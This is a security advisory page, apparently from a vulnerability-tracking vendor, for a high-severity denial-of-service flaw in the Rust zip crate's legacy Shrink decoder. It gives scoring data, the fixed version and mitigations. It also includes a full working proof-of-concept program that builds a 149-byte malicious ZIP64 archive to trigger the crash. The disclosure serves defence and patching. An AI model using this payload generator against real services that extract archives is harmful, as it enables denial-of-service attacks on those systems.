Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🦀
🦀 crates.io
Not in CISA KEV
HIGH severity

zip: legacy Shrink/Reduce/Implode decoder: denial of service from attacker-controlled ZIP64 uncompressed sizeGHSA-9hj8-73fh-9963

HIGHFix: zip-rs/zip2#991

GHSA-9hj8-73fh-9963 is a high-severity (CVSS 7.5) Uncontrolled Resource Consumption vulnerability in zip. A fix is available for zip — see the affected versions and patch details below.

Also known asCVE-2026-115907
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 28, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs29th percentile — riskier than 29% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

GHSA-9hj8-73fh-9963 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 397,508 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🦀zip

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects crates.io packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A malicious 149-byte ZIP archive can cause a denial of service in applications that enable legacy-zip and use ZipArchive::extract(). An attacker-controlled ZIP64 uncompressed size triggers a capacity overflow panic in the Shrink decoder in optimized builds, potentially terminating the affected process.

Details

When reading a Shrink-compressed entry, ShrinkDecoder::read() buffers the compressed input and reserves output capacity using the entry's declared uncompressed size:

if !self.stream_read {
    self.stream_read = true;
    let mut compressed_bytes = Vec::new();
    self.compressed_reader.read_to_end(&mut compressed_bytes)?;
    self.stream.reserve(self.uncompressed_size as usize);
    hwunshrink(
        &compressed_bytes,
        self.uncompressed_size as usize,
        &mut self.stream,
    )?;
}

In version 8.6.0, this is located in src/legacy/shrink.rs. The vulnerable legacy codecs are compiled when the legacy-zip Cargo feature is enabled.

self.uncompressed_size is populated from ZIP metadata. For ZIP64 entries, an attacker can set it to a 64-bit value independently of the archive's actual compressed payload size. The PoC declares an uncompressed size of u64::MAX, while supplying only one byte of compressed data.

The reserve occurs before hwunshrink() can validate or decode the compressed stream. Consequently, the impossible capacity causes a deterministic capacity overflow panic instead of returning a normal archive or I/O error. The behavior also occurs in optimized release builds and is reachable through ZipArchive::extract().

The same unbounded allocation pattern is present in the legacy Reduce and Implode decoder implementations. This PoC specifically demonstrates the Shrink path.

PoC

Create a new Cargo project with the following layout:

zip2-legacy-poc/
|-- Cargo.toml
`-- src/
    `-- main.rs

Use this Cargo.toml:

[package]
name = "zip2-legacy-poc"
version = "0.1.0"
edition = "2024"
publish = false

[dependencies]
tempfile = "3"
zip = { version = "=8.6.0", features = ["legacy-zip"] }

Use this src/main.rs:

use std::fs::File;
use std::io::{Cursor, Write};

fn push16(out: &mut Vec<u8>, value: u16) {
    out.extend_from_slice(&value.to_le_bytes());
}

fn push32(out: &mut Vec<u8>, value: u32) {
    out.extend_from_slice(&value.to_le_bytes());
}

fn push64(out: &mut Vec<u8>, value: u64) {
    out.extend_from_slice(&value.to_le_bytes());
}

fn zip64_extra() -> Vec<u8> {
    let mut extra = Vec::new();
    push16(&mut extra, 0x0001);
    push16(&mut extra, 16);
    push64(&mut extra, u64::MAX);
    push64(&mut extra, 1);
    extra
}

fn archive() -> Vec<u8> {
    let name = b"entry";
    let extra = zip64_extra();
    let mut out = Vec::new();

    push32(&mut out, 0x0403_4b50);
    push16(&mut out, 45);
    push16(&mut out, 0);
    push16(&mut out, 1); // Shrink compression.
    push16(&mut out, 0);
    push16(&mut out, 0);
    push32(&mut out, 0);
    push32(&mut out, u32::MAX);
    push32(&mut out, u32::MAX);
    push16(&mut out, name.len() as u16);
    push16(&mut out, extra.len() as u16);
    out.extend_from_slice(name);
    out.extend_from_slice(&extra);
    out.push(0);

    let central_start = out.len() as u32;

    push32(&mut out, 0x0201_4b50);
    push16(&mut out, 45);
    push16(&mut out, 45);
    push16(&mut out, 0);
    push16(&mut out, 1); // Shrink compression.
    push16(&mut out, 0);
    push16(&mut out, 0);
    push32(&mut out, 0);
    push32(&mut out, u32::MAX);
    push32(&mut out, u32::MAX);
    push16(&mut out, name.len() as u16);
    push16(&mut out, extra.len() as u16);
    push16(&mut out, 0);
    push16(&mut out, 0);
    push16(&mut out, 0);
    push32(&mut out, 0);
    push32(&mut out, 0);
    out.extend_from_slice(name);
    out.extend_from_slice(&extra);

    let central_size = out.len() as u32 - central_start;

    push32(&mut out, 0x0605_4b50);
    push16(&mut out, 0);
    push16(&mut out, 0);
    push16(&mut out, 1);
    push16(&mut out, 1);
    push32(&mut out, central_size);
    push32(&mut out, central_start);
    push16(&mut out, 0);
    out
}

fn main() -> Result<(), Box<dyn std::error::Error>> {
    let bytes = archive();
    File::create("poc.zip")?.write_all(&bytes)?;

    let mut archive = zip::ZipArchive::new(Cursor::new(bytes))?;
    let entry = archive.by_index(0)?;

    println!(
        "method={:?} declared_size={}",
        entry.compression(),
        entry.size()
    );

    drop(entry);

    let output = tempfile::tempdir()?;
    archive.extract(output.path())?;
    Ok(())
}

Run the reproducer in release mode:

cd zip2-legacy-poc
RUST_BACKTRACE=1 cargo run --release

Observed output with zip 8.6.0 on x86_64-unknown-linux-gnu:

method=Shrink declared_size=18446744073709551615

thread 'main' panicked at .../alloc/src/raw_vec/mod.rs:
capacity overflow

The backtrace reaches the Shrink decompressor through std::io::copy and ZipArchive::extract_internal(). The process exits with status 101. The program also writes the generated 149-byte archive to poc.zip before triggering extraction.

Impact

Applications that enable legacy-zip and pass attacker-supplied ZIP files to the following extraction API can be forced to panic before the compressed entry is validated or decoded. An unhandled panic may terminate the archive-processing process and cause a denial of service.

  • zip::read::ZipArchive::extract

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🦀crates.iozip≥ 5.1.0&&< 9.0.09.0.0cargo update -p zip --precise 9.0.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for zip, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update zip to 9.0.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-9hj8-73fh-9963 is resolved across your whole dependency graph.

  3. Workarounds

    Stop feeding it untrusted input: reject or quarantine files and payloads from unverified sources until you can upgrade, restrict accepted formats to the ones you actually need, and run the parsing or decoding step in a least-privileged sandbox or short-lived worker so a crash or corrupted read cannot reach the rest of the process.

Frequently Asked Questions

### Summary A malicious 149-byte ZIP archive can cause a denial of service in applications that enable `legacy-zip` and use `ZipArchive::extract()`. An attacker-controlled ZIP64 uncompressed size triggers a `capacity overflow` panic in the Shrink decoder in optimized builds, potentially terminating the affected process. ### Details When reading a Shrink-compressed entry, `ShrinkDecoder::read()` buffers the compressed input and reserves output capacity using the entry's declared uncompressed size: ```rust if !self.stream_read { self.stream_read = true; let mut compressed_bytes = Vec
O3 Security · Impact-Aware SCA

Is GHSA-9hj8-73fh-9963 in your dependencies?

Find it across crates.io, including transitive dependencies.

zip: legacy Shrink/Reduce/Implode decoder: denial of…